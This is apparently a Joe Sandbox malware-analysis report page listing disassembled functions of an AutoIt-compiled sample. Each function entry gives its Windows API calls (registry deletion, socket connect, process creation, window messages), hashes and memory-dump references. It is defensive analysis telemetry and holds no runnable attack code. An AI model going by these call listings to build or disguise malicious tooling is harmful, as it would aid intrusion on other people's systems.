Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 8e4781fb6fc97998cf52247983c0eb58ed05b299e71337d8bdb3fde3fb171905
Instruction ID: 061f82555417f56532553d1f63d2b26feeedd2cdabd2d0bb037982e2ef8a2152
Opcode Fuzzy Hash: 8e4781fb6fc97998cf52247983c0eb58ed05b299e71337d8bdb3fde3fb171905
Instruction Fuzzy Hash: 1D4181B1608345AEC791EF64C451ADFB7E9AF89340F00093EF49AC3251EA34D689C75A

Function 006D8851 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 006D88DE

Strings

@U=u, xrefs: 006D892D
hW, xrefs: 006D888D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: InvalidateRect
String ID: @U=u$hW
API String ID: 634782764-4076565667
Opcode ID: cdb885de1261641c12eb5f84a23670bac36834b4e223c3b1411e469841cb8fa2
Instruction ID: 5a49170a4dae672b4f2f4c83d0783eec6ce4736cb88b901bfa0dfe7b47ce4ca9
Opcode Fuzzy Hash: cdb885de1261641c12eb5f84a23670bac36834b4e223c3b1411e469841cb8fa2
Instruction Fuzzy Hash: BB31AE34E00108AEEB249A5CCC5DBF877A7EB05310FA44113FA91EB3E1CA30E9419796

Function 006D0FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 006D0FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 006D0FFE
FreeLibrary.KERNEL32(00000000), ref: 006D10B5

Part of subcall function 006D0FA5: RegCloseKey.ADVAPI32(?), ref: 006D101B
Part of subcall function 006D0FA5: FreeLibrary.KERNEL32(?), ref: 006D106D
Part of subcall function 006D0FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 006D1090

RegDeleteKeyW.ADVAPI32(?,?), ref: 006D1058

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: bb7cd100aefdec8e4129e680905883fcba7b389d4828bf9303aa72c12df0a087
Instruction ID: 3c43e6c693e985fa9a01750d972e57e986c12fe4dbcc485439f1f6b064ec8091
Opcode Fuzzy Hash: bb7cd100aefdec8e4129e680905883fcba7b389d4828bf9303aa72c12df0a087
Instruction Fuzzy Hash: D9310C71D01109BFEB159F90DC89EFFB7BDEF09300F10416AE512E6251EA749E859AA0

Function 006C6173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 006C7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 006C7DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 006C61C6
WSAGetLastError.WSOCK32(00000000), ref: 006C61D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 006C620E
connect.WSOCK32(00000000,?,00000010), ref: 006C6217
WSAGetLastError.WSOCK32 ref: 006C6221
closesocket.WSOCK32(00000000), ref: 006C624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 006C6263

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 2c26370c87e8b80e38c9a2f6da851d2a4f1b7d93a57921156722eb4421a35710
Instruction ID: eded02ea00e9b7e093532fbe4944446f8caf3601c8929008dfd9334ae0327eea
Opcode Fuzzy Hash: 2c26370c87e8b80e38c9a2f6da851d2a4f1b7d93a57921156722eb4421a35710
Instruction Fuzzy Hash: 6831A131600108AFDF10AF64CC85FBE77AAEF45711F04402DFD06A7291CB74AD059BA5

Function 006A8E90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006AAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006AAABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 006A8F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 006A8F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 006A8F57

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

Strings

@U=u, xrefs: 006A8F14, 006A8F27, 006A8F57
ComboBox, xrefs: 006A8E9E
ListBox, xrefs: 006A8ED3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: @U=u$ComboBox$ListBox
API String ID: 365058703-2258501812
Opcode ID: bf3a72ff4eb700a225066bf56970b51d7a627013c599f845e4342d23b39572da
Instruction ID: 3c634703c8237fc19128773688ba14fcf6e34c7a50f30e6f227929599e198251
Opcode Fuzzy Hash: bf3a72ff4eb700a225066bf56970b51d7a627013c599f845e4342d23b39572da
Instruction Fuzzy Hash: D121D271A05105BEDB14ABB09C45DFEB7ABDF06360F14861EF825972E1DB395C09DA20

Function 006AF65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 006AF671
__wcsnicmp.LIBCMT ref: 006AF692
__wcsnicmp.LIBCMT ref: 006AF6AC

Strings

#OnAutoItStartRegister, xrefs: 006AF6A6
#notrayicon, xrefs: 006AF669
#requireadmin, xrefs: 006AF68C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: f5e19417e8e4fb5e72744a2db165ff1cb22b6c4fa3fec136615a65fc7498a112
Instruction ID: 5a4e73fc60d795f69be1bf5dedd408ebba8ae64d7295a8a5618d080bba1005ec
Opcode Fuzzy Hash: f5e19417e8e4fb5e72744a2db165ff1cb22b6c4fa3fec136615a65fc7498a112
Instruction Fuzzy Hash: 2E21377220461266D220B774AC12EE7739FEF57340F10843DF84586291EB919D42D7AA

Function 006AB1EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 006AB204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 006AB221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 006AB259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 006AB27F
_wcsstr.LIBCMT ref: 006AB289

Strings

@U=u, xrefs: 006AB221, 006AB259

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID: @U=u
API String ID: 3902887630-2594219639
Opcode ID: 2e1865e6a950c37f20074faeb2b9ff7b9ccc503ad119a456ea6009e6df019cc3
Instruction ID: 08712602d330cadef59ccc9649909584846cfb07a6b4d3269c6d35fe0c45240b
Opcode Fuzzy Hash: 2e1865e6a950c37f20074faeb2b9ff7b9ccc503ad119a456ea6009e6df019cc3
Instruction Fuzzy Hash: 3A213A31604200BBEB15AB759C05FBF7B9ADF46710F00903FF809CA292EF61CD419A60

Function 006A9307 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 006A9320

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 006A9352
__itow.LIBCMT ref: 006A936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 006A9392
__itow.LIBCMT ref: 006A93A3

Strings

@U=u, xrefs: 006A9320, 006A9352, 006A9392

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID: @U=u
API String ID: 2983881199-2594219639
Opcode ID: 023e2e0853568ced89d6e0b20040e7e0594ac92f01988fc57df5d33ee58f6c1f
Instruction ID: f24a879a113adc8d283205681a9273348ebb98891bd0990bd4834b6bff2469bc
Opcode Fuzzy Hash: 023e2e0853568ced89d6e0b20040e7e0594ac92f01988fc57df5d33ee58f6c1f
Instruction Fuzzy Hash: B821D631B01204ABDF10AB609C89EEE7BBEEB4A711F148029FD05D72C0D670DD459BA1

Function 006D75CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00651D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00651D73
Part of subcall function 00651D35: GetStockObject.GDI32(00000011), ref: 00651D87
Part of subcall function 00651D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00651D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 006D7632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 006D763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 006D764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 006D7659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 006D7665

Strings

Msctls_Progress32, xrefs: 006D7603

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: bc476ecfce83d3da42ee9ce6099d41c5e13883a3febe3b8c5c35e48267367fd6
Instruction ID: 0be2a17c5a67b991dfb15aa914aaca1d9801f695da4dbce7c08ee1f22134f3a6
Opcode Fuzzy Hash: bc476ecfce83d3da42ee9ce6099d41c5e13883a3febe3b8c5c35e48267367fd6
Instruction Fuzzy Hash: 2211B2B2510219BFEF158F64CC85EE77F6EEF08798F014115BA04A61A0DB72DC21DBA4

Function 006DB635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006DB644
_memset.LIBCMT ref: 006DB653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00716F20,00716F64), ref: 006DB682
CloseHandle.KERNEL32 ref: 006DB694

Strings

doq, xrefs: 006DB64D
oq, xrefs: 006DB63E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: oq$doq
API String ID: 3277943733-3391684421
Opcode ID: 5ed428510d5d8e485d9f4cf6d2fb1ce8d5ce5737f49dd2aff1f8fc2d38f4d87a
Instruction ID: c98c453e4b86e254e536446737b940f25b31344038af4302bd33b8c6b407e3e1
Opcode Fuzzy Hash: 5ed428510d5d8e485d9f4cf6d2fb1ce8d5ce5737f49dd2aff1f8fc2d38f4d87a
Instruction Fuzzy Hash: 76F03AB2941300BAE3102769BC06FFB7A9EEB08395F01C025FA09E51D2D7798801C7AC

Function 0067406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00673F85), ref: 00674085
GetProcAddress.KERNEL32(00000000), ref: 0067408C
EncodePointer.KERNEL32(00000000), ref: 00674097
DecodePointer.KERNEL32(00673F85), ref: 006740B2

Strings

RoUninitialize, xrefs: 00674074
combase.dll, xrefs: 00674080

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 4a110acf9b6eb2d77c80489a96a2e6091e39cfd5d4ea82e4c3909cbe46e5ff93
Instruction ID: 999eb28b0f492b195a76c8f48173d781ff10a3871d15279d4ea569ca105166a3
Opcode Fuzzy Hash: 4a110acf9b6eb2d77c80489a96a2e6091e39cfd5d4ea82e4c3909cbe46e5ff93
Instruction Fuzzy Hash: 2FE09A70982705EBEB119F65EC0DB853AA7BB04742F11D135F102F11E0CBBA4604DA58

Function 006B64B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006B660B
_memmove.LIBCMT ref: 006B6546

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

_memmove.LIBCMT ref: 006B65B9
_memmove.LIBCMT ref: 006B66A0
_memmove.LIBCMT ref: 006B66B9
_memmove.LIBCMT ref: 006B66D5

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 24132d38f82a37ab7f3bdb1bcae677fd77bf2f02b632f77fef73ae5b321cb7ec
Instruction ID: 5b48f42101f7ed3473684e012c2e6ccb5d9f8b9305390b0d65efb22d002ca623
Opcode Fuzzy Hash: 24132d38f82a37ab7f3bdb1bcae677fd77bf2f02b632f77fef73ae5b321cb7ec
Instruction Fuzzy Hash: 9561AC7150065AABDF51EF60CC81EFE37A6AF05308F044918FC595B292EB389D4ACB69

Function 006D01E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006D0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,006CFDAD,?,?), ref: 006D0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006D02BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 006D02FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 006D0320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 006D0349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 006D038C
RegCloseKey.ADVAPI32(00000000), ref: 006D0399

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 1f3515f56b8192d846225330d5b54a8ef12a1c7635ca1c5318752553719a8019
Instruction ID: eaf9192d78f89e8ae48cda16f995f59327449caf49506dcd9da33e539fd20cb3
Opcode Fuzzy Hash: 1f3515f56b8192d846225330d5b54a8ef12a1c7635ca1c5318752553719a8019
Instruction Fuzzy Hash: A1516A31508301AFD750EF64D895EAEBBEAFF85314F04491EF846872A2DB31E909CB56

Function 006D5799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 006D57FB
GetMenuItemCount.USER32(00000000), ref: 006D5832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 006D585A
GetMenuItemID.USER32(?,?), ref: 006D58C9
GetSubMenu.USER32(?,?), ref: 006D58D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 006D5928

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 43a9abc4788df6e3af2b0d5ce0d1bb2f3af933261d7a7d99e3f8036bc77b67d1
Instruction ID: f92d77ee1804403942b47944079f5b7df8219cf650718c3ca1c0695cdb461a54
Opcode Fuzzy Hash: 43a9abc4788df6e3af2b0d5ce0d1bb2f3af933261d7a7d99e3f8036bc77b67d1
Instruction Fuzzy Hash: C1515E35E01625EFCF11EF64C855AEEB7B6EF48310F14446AE816BB351CB30AE419B94

Function 006AEEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006AEF06
VariantClear.OLEAUT32(00000013), ref: 006AEF78
VariantClear.OLEAUT32(00000000), ref: 006AEFD3
_memmove.LIBCMT ref: 006AEFFD
VariantClear.OLEAUT32(?), ref: 006AF04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 006AF078

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 610f1ab06b5ff77b4faa504dc7332d67857bd1a604f9ce9688df08cd741042c5
Instruction ID: 53b7dce9081149aa75d52188695eee83c1d2753eb25e4c79a35abecd12cb45f0
Opcode Fuzzy Hash: 610f1ab06b5ff77b4faa504dc7332d67857bd1a604f9ce9688df08cd741042c5
Instruction Fuzzy Hash: 355178B5A00209EFCB10DF58C890AAAB7F9FF4D310B15856AE949DB301E331E911CFA0

Function 006B220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B2258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 006B22A3
IsMenu.USER32(00000000), ref: 006B22C3
CreatePopupMenu.USER32 ref: 006B22F7
GetMenuItemCount.USER32(000000FF), ref: 006B2355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 006B2386

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 7ba29a9bc7c89a3182bb9cd861de1c47e66ccd1b73b8ad2e2b8800804a7129de
Instruction ID: d0b82380aa4ed2aaefe954ccfeaab0a940e226a1bbbe0adda0edbb55cf935828
Opcode Fuzzy Hash: 7ba29a9bc7c89a3182bb9cd861de1c47e66ccd1b73b8ad2e2b8800804a7129de
Instruction Fuzzy Hash: 7251BEB0A0120BDBDF21CF68D8A8BEEBBF6BF45314F104129E811972A0D7748A85CB51

Function 00651765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

BeginPaint.USER32(?,?,?,?,?,?), ref: 0065179A
GetWindowRect.USER32(?,?), ref: 006517FE
ScreenToClient.USER32(?,?), ref: 0065181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0065182C
EndPaint.USER32(?,?), ref: 00651876

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 3f57780646d85db3c56c7ea6fdec82a0cca7faa521e4a979648472eac1e5471d
Instruction ID: 895a4d6cba0360138b06e9c6533bef0f6159c4ec70692eb6b772c7a9c380c067
Opcode Fuzzy Hash: 3f57780646d85db3c56c7ea6fdec82a0cca7faa521e4a979648472eac1e5471d
